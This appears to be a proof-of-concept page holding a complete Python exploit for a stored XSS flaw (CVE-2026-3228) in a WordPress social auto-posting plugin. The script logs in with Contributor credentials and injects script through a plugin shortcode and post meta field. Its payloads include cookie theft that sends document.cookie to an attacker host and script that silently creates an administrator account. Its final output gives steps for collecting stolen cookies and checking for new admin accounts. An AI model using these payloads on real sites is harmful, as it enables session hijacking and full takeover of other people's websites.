5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-3228.py PY
#!/usr/bin/env python3
"""
CVE-2026-3228.py - NextScripts WordPress Plugin Stored XSS Scanner & Exploit

"""

import argparse
import requests
import sys
import re
import base64
import urllib3
from requests.exceptions import RequestException
from bs4 import BeautifulSoup
import warnings
import time

print("""

███╗░░██╗██╗░░░██╗██╗░░░░░██╗░░░░░██████╗░░█████╗░░█████╗░  ░█████╗░██╗░░██╗
████╗░██║██║░░░██║██║░░░░░██║░░░░░╚════██╗██╔══██╗██╔══██╗  ██╔══██╗██║░██╔╝
██╔██╗██║██║░░░██║██║░░░░░██║░░░░░░░███╔═╝██║░░██║██║░░██║  ██║░░██║█████═╝░
██║╚████║██║░░░██║██║░░░░░██║░░░░░██╔══╝░░██║░░██║██║░░██║  ██║░░██║██╔═██╗░
██║░╚███║╚██████╔╝███████╗███████╗███████╗╚█████╔╝╚█████╔╝  ╚█████╔╝██║░╚██╗
╚═╝░░╚══╝░╚═════╝░╚══════╝╚══════╝╚══════╝░╚════╝░░╚════╝░  ░╚════╝░╚═╝░░╚═╝
CVE-2026-3228.py - NextScripts WordPress Plugin Stored XSS Scanner & Exploit
Vulnerability in NextScripts: Social Networks Auto-Poster <= 4.4.6 allows
authenticated attackers with Contributor-level access to inject malicious scripts
via the [nxs_fbembed] shortcode.
– NULL200OL-AI💀🔥created by NABEEL

""")

# Suppress SSL warnings for self-signed certificates
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

# ==================== CVE Information ====================
CVE_ID = "CVE-2026-3228"
CVE_DESCRIPTION = (
    "The NextScripts: Social Networks Auto-Poster plugin for WordPress is vulnerable "
    "to Stored Cross-Site Scripting via the [nxs_fbembed] shortcode in all versions "
    "up to, and including, 4.4.6. This is due to insufficient input sanitization and "
    "output escaping on the snapFB post meta value."
)
CVE_CAUSE = (
    "The vulnerability stems from two fundamental security failures:\n"
    "  1. Insufficient input sanitization - The plugin fails to properly sanitize the\n"
    "     snapFB post meta value when processing the [nxs_fbembed] shortcode.\n"
    "  2. Insufficient output escaping - When displaying the content, the plugin fails\n"
    "     to escape the output, allowing injected scripts to execute in victims' browsers.\n"
    "This combination allows malicious JavaScript to be stored in the database and "
    "executed when any user (including administrators) views the affected page."
)
CVE_IMPACT = (
    "An attacker with Contributor-level access can:\n"
    "  - Inject arbitrary JavaScript into WordPress pages\n"
    "  - Hijack administrator sessions when they view the page\n"
    "  - Create new admin accounts\n"
    "  - Install malicious plugins\n"
    "  - Deface the website\n"
    "  - Steal sensitive information including database credentials\n"
    "The script executes in the context of the victim user, potentially leading to\n"
    "complete site compromise."
)

# ==================== Configuration ====================
TIMEOUT = 10
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

# WordPress login and post endpoints
WP_LOGIN_URL = "/wp-login.php"
WP_ADMIN_URL = "/wp-admin/"
WP_POST_NEW_URL = "/wp-admin/post-new.php"
WP_POST_PHP = "/wp-admin/post.php"
WP_REST_API = "/wp-json/wp/v2/posts"

class WordPressAuthenticator:
    """Handle WordPress authentication and session management"""
    
    def __init__(self, target, username, password, timeout=TIMEOUT):
        self.target = target.rstrip('/')
        self.username = username
        self.password = password
        self.timeout = timeout
        self.session = requests.Session()
        self.session.headers.update({'User-Agent': USER_AGENT})
        self.session.verify = False
        self.logged_in = False
        self.nonce = None
        self.user_id = None
        
    def login(self):
        """Authenticate to WordPress"""
        login_url = f"{self.target}{WP_LOGIN_URL}"
        
        # First get the login page to extract any nonces
        try:
            resp = self.session.get(login_url, timeout=self.timeout)
            if resp.status_code != 200:
                print(f"[-] Failed to access login page: HTTP {resp.status_code}")
                return False
        except RequestException as e:
            print(f"[-] Error accessing login page: {e}")
            return False
        
        # Prepare login data
        login_data = {
            'log': self.username,
            'pwd': self.password,
            'wp-submit': 'Log In',
            'redirect_to': f"{self.target}{WP_ADMIN_URL}",
            'testcookie': '1'
        }
        
        # Extract redirect_to from the page if present
        soup = BeautifulSoup(resp.text, 'html.parser')
        redirect_input = soup.find('input', {'name': 'redirect_to'})
        if redirect_input and redirect_input.get('value'):
            login_data['redirect_to'] = redirect_input['value']
        
        # Submit login
        try:
            resp = self.session.post(login_url, data=login_data, timeout=self.timeout, allow_redirects=True)
            
            # Check if login was successful by looking for admin bar or dashboard
            if 'wp-admin' in resp.url or '/wp-admin/' in resp.text:
                self.logged_in = True
                print(f"[+] Successfully logged in as '{self.username}'")
                
                # Extract user info and nonce
                self._extract_user_info(resp.text)
                return True
            else:
                print("[-] Login failed - check credentials")
                return False
                
        except RequestException as e:
            print(f"[-] Error during login: {e}")
            return False
    
    def _extract_user_info(self, html):
        """Extract user ID and nonce from page HTML"""
        # Try to find user ID in admin bar
        user_pattern = r'<li[^>]*class="[^"]*user-admin-menu[^"]*"[^>]*data-user="(\d+)"'
        match = re.search(user_pattern, html)
        if match:
            self.user_id = match.group(1)
            print(f"[+] Found user ID: {self.user_id}")
        
        # Try to find a nonce (for future use)
        nonce_pattern = r'name="_wpnonce" value="([a-f0-9]+)"'
        match = re.search(nonce_pattern, html)
        if match:
            self.nonce = match.group(1)
            print(f"[+] Found WordPress nonce")
    
    def check_user_role(self):
        """Check if logged-in user has at least Contributor role"""
        if not self.logged_in:
            return False
        
        profile_url = f"{self.target}/wp-admin/profile.php"
        try:
            resp = self.session.get(profile_url, timeout=self.timeout)
            if resp.status_code == 200:
                # Look for role indicators in the page
                if 'Contributor' in resp.text or 'Administrator' in resp.text or 'Editor' in resp.text or 'Author' in resp.text:
                    # Check if user can access post editor
                    if self.can_access_editor():
                        return True
            return False
        except:
            return False
    
    def can_access_editor(self):
        """Check if user can access the post editor"""
        try:
            resp = self.session.get(f"{self.target}{WP_POST_NEW_URL}", timeout=self.timeout)
            return resp.status_code == 200 and 'post-title' in resp.text
        except:
            return False

class CVEScanner:
    """Scan for CVE-2026-3228 vulnerability"""
    
    def __init__(self, target, timeout=TIMEOUT):
        self.target = target.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.headers.update({'User-Agent': USER_AGENT})
        self.session.verify = False
    
    def check_wordpress(self):
        """Check if target is running WordPress"""
        try:
            # Check for WordPress identifiers
            resp = self.session.get(self.target, timeout=self.timeout)
            if resp.status_code == 200:
                if 'wp-content' in resp.text or 'wp-includes' in resp.text or 'WordPress' in resp.text:
                    return True
            return False
        except:
            return False
    
    def check_plugin_version(self):
        """Check if vulnerable plugin is installed and get version"""
        # Try to read plugin readme file
        readme_urls = [
            f"{self.target}/wp-content/plugins/social-networks-auto-poster-facebook-twitter-g/readme.txt",
            f"{self.target}/wp-content/plugins/social-networks-auto-poster/readme.txt",
            f"{self.target}/wp-content/plugins/nextscripts-social-networks-auto-poster/readme.txt"
        ]
        
        for url in readme_urls:
            try:
                resp = self.session.get(url, timeout=self.timeout)
                if resp.status_code == 200:
                    # Extract version from readme
                    version_match = re.search(r'Stable tag:\s*(\d+\.\d+\.\d+)', resp.text, re.IGNORECASE)
                    if version_match:
                        version = version_match.group(1)
                        print(f"[+] Found plugin version: {version}")
                        return version
                    
                    # Alternative pattern
                    version_match = re.search(r'Version:\s*(\d+\.\d+\.\d+)', resp.text, re.IGNORECASE)
                    if version_match:
                        version = version_match.group(1)
                        print(f"[+] Found plugin version: {version}")
                        return version
            except:
                continue
        
        # Try to find version in JavaScript files
        js_patterns = [
            f"{self.target}/wp-content/plugins/social-networks-auto-poster-facebook-twitter-g/NextScripts_SNAP.js",
            f"{self.target}/wp-content/plugins/social-networks-auto-poster-facebook-twitter-g/js/nxs.js"
        ]
        
        for url in js_patterns:
            try:
                resp = self.session.get(url, timeout=self.timeout)
                if resp.status_code == 200:
                    version_match = re.search(r'version[:\s]*["\'](\d+\.\d+\.\d+)', resp.text, re.IGNORECASE)
                    if version_match:
                        return version_match.group(1)
            except:
                continue
        
        return None
    
    def is_version_vulnerable(self, version):
        """Check if version is <= 4.4.6"""
        if not version:
            return None
        
        def parse_version(v):
            parts = re.findall(r'\d+', v)
            while len(parts) < 3:
                parts.append('0')
            return tuple(int(p) for p in parts[:3])
        
        try:
            version_tuple = parse_version(version)
            max_tuple = parse_version('4.4.6')
            return version_tuple <= max_tuple
        except:
            return False
    
    def check_vulnerability_indicators(self):
        """Look for signs that the plugin is active and vulnerable"""
        indicators = []
        
        # Check if plugin files exist
        plugin_paths = [
            "/wp-content/plugins/social-networks-auto-poster-facebook-twitter-g/",
            "/wp-content/plugins/social-networks-auto-poster/",
            "/wp-content/plugins/nextscripts-social-networks-auto-poster/"
        ]
        
        for path in plugin_paths:
            try:
                resp = self.session.get(f"{self.target}{path}", timeout=self.timeout)
                if resp.status_code == 200:
                    indicators.append(f"Plugin directory accessible: {path}")
            except:
                continue
        
        # Check for the shortcode in published posts
        try:
            resp = self.session.get(self.target, timeout=self.timeout)
            if '[nxs_fbembed' in resp.text:
                indicators.append("Plugin shortcode [nxs_fbembed] found in content")
        except:
            pass
        
        return indicators

class CVEExploiter:
    """Exploit CVE-2026-3228 by injecting malicious script"""
    
    def __init__(self, authenticator, target, timeout=TIMEOUT):
        self.auth = authenticator
        self.target = target.rstrip('/')
        self.timeout = timeout
        self.session = authenticator.session
    
    def inject_payload(self, payload, post_title=None, post_content=""):
        """
        Inject XSS payload via the vulnerable [nxs_fbembed] shortcode
        Returns (success, post_id, post_url) or (False, None, None)
        """
        if not self.auth.logged_in:
            print("[-] Not authenticated. Cannot inject payload.")
            return False, None, None
        
        # Generate a default post title if not provided
        if not post_title:
            post_title = f"CVE-2026-3228 Test Post - {time.strftime('%Y-%m-%d %H:%M:%S')}"
        
        # Construct the malicious shortcode
        # The vulnerability is triggered through the snapFB post meta
        # We need to inject the payload in a way that it gets stored and executed
        
        # Method 1: Try to use the REST API if available
        rest_url = f"{self.target}{WP_REST_API}"
        headers = {
            'Content-Type': 'application/json',
            'X-WP-Nonce': self.auth.nonce if self.auth.nonce else ''
        }
        
        # Prepare post data with malicious shortcode
        # The payload needs to be in the snapFB meta field
        post_data = {
            'title': post_title,
            'content': post_content,
            'status': 'publish',
            'meta': {
                'snapFB': payload  # The vulnerable meta field
            }
        }
        
        # Add the shortcode to content as well for demonstration
        if '[nxs_fbembed' not in post_content:
            post_data['content'] += f"\n\n[nxs_fbembed]{payload}[/nxs_fbembed]"
        
        try:
            # Try REST API first
            resp = self.session.post(rest_url, json=post_data, headers=headers, timeout=self.timeout)
            
            if resp.status_code in [200, 201]:
                data = resp.json()
                post_id = data.get('id')
                post_url = data.get('link')
                print(f"[+] Payload injected via REST API - Post ID: {post_id}")
                return True, post_id, post_url
        except:
            pass
        
        # Method 2: Fallback to traditional post creation
        print("[*] REST API failed, trying traditional post creation...")
        
        # Get the post editor page to extract nonce
        try:
            resp = self.session.get(f"{self.target}{WP_POST_NEW_URL}", timeout=self.timeout)
            if resp.status_code != 200:
                print("[-] Cannot access post editor")
                return False, None, None
            
            # Extract nonce
            nonce_pattern = r'name="_wpnonce" value="([a-f0-9]+)"'
            match = re.search(nonce_pattern, resp.text)
            wp_nonce = match.group(1) if match else ''
            
            # Extract post ID if editing
            post_id_pattern = r'post=(\d+)'
            match = re.search(post_id_pattern, resp.text)
            
            # Prepare post data
            post_action_url = f"{self.target}{WP_POST_PHP}"
            post_data = {
                '_wpnonce': wp_nonce,
                '_wp_http_referer': '/wp-admin/post-new.php',
                'user_ID': self.auth.user_id if self.auth.user_id else '1',
                'action': 'editpost',
                'originalaction': 'editpost',
                'post_author': self.auth.user_id if self.auth.user_id else '1',
                'post_type': 'post',
                'original_post_status': 'draft',
                'referredby': f"{self.target}/wp-admin/post-new.php",
                'post_title': post_title,
                'content': post_content + f"\n\n[nxs_fbembed]{payload}[/nxs_fbembed]",
                'publish': 'Publish',
                'meta': {
                    'snapFB': payload
                }
            }
            
            # Add meta as form fields
            # WordPress expects meta in a specific format
            meta_data = {
                'snapFB': payload
            }
            
            # Flatten meta for form submission
            for key, value in meta_data.items():
                post_data[f'meta[{key}]'] = value
            
            # Submit the post
            resp = self.session.post(post_action_url, data=post_data, timeout=self.timeout, allow_redirects=True)
            
            if resp.status_code == 200:
                # Try to extract the new post ID from the redirect
                post_id_match = re.search(r'post=(\d+)', resp.url)
                if post_id_match:
                    post_id = post_id_match.group(1)
                    post_url = f"{self.target}/?p={post_id}"
                    print(f"[+] Payload injected via traditional post - Post ID: {post_id}")
                    return True, post_id, post_url
                else:
                    print("[+] Payload injected, but couldn't determine post ID")
                    return True, None, None
            
            print(f"[-] Failed to create post: HTTP {resp.status_code}")
            return False, None, None
            
        except RequestException as e:
            print(f"[-] Error during exploitation: {e}")
            return False, None, None
        except Exception as e:
            print(f"[-] Unexpected error: {e}")
            return False, None, None
    
    def generate_payloads(self, payload_type='alert', custom_js=None, callback_url=None):
        """Generate various XSS payloads"""
        
        payloads = {}
        
        if payload_type == 'alert' or payload_type == 'all':
            payloads['alert'] = '<script>alert("CVE-2026-3228 - XSS Vulnerability");</script>'
        
        if payload_type == 'cookie' or payload_type == 'all':
            payloads['cookie_steal'] = '<script>fetch("' + (callback_url or 'https://attacker.com/steal') + '?cookie="+document.cookie);</script>'
        
        if payload_type == 'admin' or payload_type == 'all':
            payloads['create_admin'] = '''
            <script>
            fetch("/wp-admin/user-new.php", {
                method: "POST",
                headers: {"Content-Type": "application/x-www-form-urlencoded"},
                body: "action=createuser&user_login=attacker&[email protected]&role=administrator&_wpnonce="+document.querySelector("[name=_wpnonce]").value
            });
            </script>
            '''
        
        if payload_type == 'custom' and custom_js:
            payloads['custom'] = f'<script>{custom_js}</script>'
        
        if payload_type == 'html' or payload_type == 'all':
            payloads['html_injection'] = '<img src=x onerror=alert("XSS")>'
        
        return payloads

# ==================== Helper Functions ====================
def print_info():
    """Display detailed CVE information"""
    print(f"\n[+] {CVE_ID} - NextScripts WordPress Plugin Stored XSS")
    print("=" * 70)
    print("Description:")
    print(CVE_DESCRIPTION)
    print("\nWhy it happens:")
    print(CVE_CAUSE)
    print("\nImpact:")
    print(CVE_IMPACT)
    print("=" * 70)
    print("\nAffected Versions: All NextScripts: Social Networks Auto-Poster <= 4.4.6")
    print("Required Privileges: Contributor-level access or higher")
    print("=" * 70 + "\n")

def verify_wordpress_installation(target):
    """Quick check if target is WordPress"""
    try:
        resp = requests.get(target.rstrip('/'), timeout=TIMEOUT, verify=False)
        if 'wp-content' in resp.text or 'wp-includes' in resp.text:
            return True
        return False
    except:
        return False

# ==================== Main CLI ====================
def main():
    parser = argparse.ArgumentParser(
        description=f"{CVE_ID} - NextScripts WordPress Plugin Stored XSS Scanner & Exploit",
        epilog="Use 'info' command for detailed vulnerability information.",
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    subparsers = parser.add_subparsers(dest='command', required=True, help='Subcommands')
    
    # Info command
    subparsers.add_parser('info', help='Display detailed information about the CVE')
    
    # Scan command
    scan_parser = subparsers.add_parser('scan', help='Check if target is vulnerable')
    scan_parser.add_argument('target', help='Target WordPress site URL (e.g., http://example.com)')
    scan_parser.add_argument('--timeout', type=int, default=TIMEOUT, help='Request timeout in seconds')
    
    # Exploit command
    exploit_parser = subparsers.add_parser('exploit', help='Exploit the vulnerability (requires valid credentials)')
    exploit_parser.add_argument('target', help='Target WordPress site URL')
    exploit_parser.add_argument('-u', '--username', required=True, help='WordPress username (Contributor+)')
    exploit_parser.add_argument('-p', '--password', required=True, help='WordPress password')
    exploit_parser.add_argument('--payload-type', choices=['alert', 'cookie', 'admin', 'html', 'custom', 'all'], 
                               default='alert', help='Type of payload to inject')
    exploit_parser.add_argument('--custom-js', help='Custom JavaScript payload (when --payload-type=custom)')
    exploit_parser.add_argument('--callback-url', help='URL for cookie stealing payload')
    exploit_parser.add_argument('--post-title', help='Title for the malicious post')
    exploit_parser.add_argument('--post-content', default='This is a security test post.', help='Content for the post')
    exploit_parser.add_argument('--timeout', type=int, default=TIMEOUT, help='Request timeout in seconds')
    exploit_parser.add_argument('--no-verify', action='store_true', help='Skip WordPress verification')
    
    # Check command (combination of scan + quick auth check)
    check_parser = subparsers.add_parser('check', help='Comprehensive check with credentials')
    check_parser.add_argument('target', help='Target WordPress site URL')
    check_parser.add_argument('-u', '--username', required=True, help='WordPress username')
    check_parser.add_argument('-p', '--password', required=True, help='WordPress password')
    check_parser.add_argument('--timeout', type=int, default=TIMEOUT, help='Request timeout in seconds')
    
    args = parser.parse_args()
    
    # Handle info command
    if args.command == 'info':
        print_info()
        sys.exit(0)
    
    # Handle scan command
    if args.command == 'scan':
        target = args.target.rstrip('/')
        print(f"[*] Scanning {target} for {CVE_ID}...\n")
        
        # Check if it's WordPress
        if not verify_wordpress_installation(target):
            print("[-] Target does not appear to be a WordPress site.")
            sys.exit(1)
        print("[+] Target appears to be running WordPress")
        
        # Initialize scanner
        scanner = CVEScanner(target, timeout=args.timeout)
        
        # Check plugin version
        version = scanner.check_plugin_version()
        if version:
            print(f"[+] Plugin version detected: {version}")
            vulnerable = scanner.is_version_vulnerable(version)
            if vulnerable:
                print("[!] Version is VULNERABLE (≤ 4.4.6)")
            elif vulnerable is False:
                print("[+] Version is NOT vulnerable (> 4.4.6)")
            else:
                print("[?] Could not determine vulnerability status")
        else:
            print("[?] Could not detect plugin version")
        
        # Check for vulnerability indicators
        indicators = scanner.check_vulnerability_indicators()
        if indicators:
            print("\n[*] Vulnerability indicators found:")
            for ind in indicators:
                print(f"  - {ind}")
        else:
            print("\n[-] No obvious vulnerability indicators found")
        
        print("\n[*] Scan complete. Note: This is a pre-authentication check.")
        print("[*] To confirm vulnerability, you need valid credentials and use the 'exploit' command.")
        sys.exit(0)
    
    # Handle check command (comprehensive with credentials)
    if args.command == 'check':
        target = args.target.rstrip('/')
        print(f"[*] Performing comprehensive check on {target}...\n")
        
        # Verify WordPress
        if not args.no_verify and not verify_wordpress_installation(target):
            print("[-] Target does not appear to be a WordPress site.")
            sys.exit(1)
        
        # Authenticate
        auth = WordPressAuthenticator(target, args.username, args.password, timeout=args.timeout)
        if not auth.login():
            print("[-] Authentication failed")
            sys.exit(1)
        
        # Check user role
        if auth.check_user_role():
            print("[+] User has sufficient privileges (Contributor+)")
        else:
            print("[-] User does NOT have sufficient privileges (need Contributor+)")
            print("[-] Exploitation requires Contributor-level access or higher")
            sys.exit(1)
        
        # Check plugin version
        scanner = CVEScanner(target, timeout=args.timeout)
        version = scanner.check_plugin_version()
        if version:
            print(f"[+] Plugin version: {version}")
            if scanner.is_version_vulnerable(version):
                print("[!] Version is VULNERABLE (≤ 4.4.6)")
                print("\n[+] Target appears EXPLOITABLE with current credentials!")
            else:
                print("[+] Version is NOT vulnerable (> 4.4.6)")
                print("[-] Target is NOT vulnerable to CVE-2026-3228")
        else:
            print("[?] Could not determine plugin version")
            print("[?] Manual verification recommended")
        
        sys.exit(0)
    
    # Handle exploit command
    if args.command == 'exploit':
        target = args.target.rstrip('/')
        print(f"[*] Exploiting {target} for {CVE_ID}...\n")
        
        # Verify WordPress if not disabled
        if not args.no_verify:
            if not verify_wordpress_installation(target):
                print("[-] Target does not appear to be a WordPress site.")
                proceed = input("[?] Continue anyway? (y/N): ")
                if proceed.lower() != 'y':
                    sys.exit(1)
        
        # Authenticate
        print(f"[*] Authenticating as '{args.username}'...")
        auth = WordPressAuthenticator(target, args.username, args.password, timeout=args.timeout)
        if not auth.login():
            print("[-] Authentication failed. Check credentials.")
            sys.exit(1)
        
        # Check user role
        print("[*] Checking user privileges...")
        if not auth.check_user_role():
            print("[-] User does NOT have sufficient privileges (need Contributor+)")
            print("[-] Exploitation requires Contributor-level access or higher")
            sys.exit(1)
        print("[+] User has sufficient privileges")
        
        # Initialize exploiter
        exploiter = CVEExploiter(auth, target, timeout=args.timeout)
        
        # Generate payloads
        print(f"[*] Generating {args.payload_type} payload...")
        payloads = exploiter.generate_payloads(
            payload_type=args.payload_type,
            custom_js=args.custom_js,
            callback_url=args.callback_url
        )
        
        if not payloads:
            print("[-] No payloads generated")
            sys.exit(1)
        
        # Inject each payload
        successful_injections = 0
        for payload_name, payload_code in payloads.items():
            print(f"\n[*] Injecting payload: {payload_name}")
            print(f"[*] Payload: {payload_code[:100]}{'...' if len(payload_code) > 100 else ''}")
            
            success, post_id, post_url = exploiter.inject_payload(
                payload=payload_code,
                post_title=args.post_title or f"CVE-2026-3228 Test - {payload_name}",
                post_content=args.post_content
            )
            
            if success:
                successful_injections += 1
                print(f"[+] Payload '{payload_name}' injected successfully!")
                if post_url:
                    print(f"[+] Malicious post URL: {post_url}")
                    print(f"[+] View this URL as an administrator to trigger the XSS")
                if post_id:
                    print(f"[+] Post ID: {post_id}")
                
                # If this is an alert payload, offer to open browser
                if payload_name == 'alert':
                    print("\n[*] To trigger the XSS:")
                    print(f"    1. Visit: {post_url or (target + '/?p=' + str(post_id))}")
                    print("    2. The alert box will appear if the vulnerability exists")
                    
                    try:
                        import webbrowser
                        open_browser = input("\n[?] Open browser to trigger XSS now? (y/N): ")
                        if open_browser.lower() == 'y' and post_url:
                            webbrowser.open(post_url)
                            print("[*] Browser opened. Check for alert box.")
                    except:
                        pass
            else:
                print(f"[-] Failed to inject payload '{payload_name}'")
        
        # Summary
        print(f"\n{'=' * 50}")
        print("EXPLOITATION SUMMARY")
        print(f"{'=' * 50}")
        print(f"Successful injections: {successful_injections}/{len(payloads)}")
        
        if successful_injections > 0:
            print("\n[!] NEXT STEPS:")
            print("  1. An administrator needs to view the injected post/page")
            print("  2. The JavaScript will execute in their browser")
            print("  3. For cookie stealing: set up a listener on your callback URL")
            print("  4. For admin creation: check for new admin accounts after admin views the page")
            print("\n[!] CLEANUP:")
            print("  Delete the test posts from WordPress admin to remove the payloads")
        else:
            print("\n[-] Exploitation failed. Target may not be vulnerable.")
        
        sys.exit(0 if successful_injections > 0 else 1)

if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        print("\n[!] Interrupted by user")
        sys.exit(1)
    except Exception as e:
        print(f"\n[!] Unexpected error: {e}")
        sys.exit(1)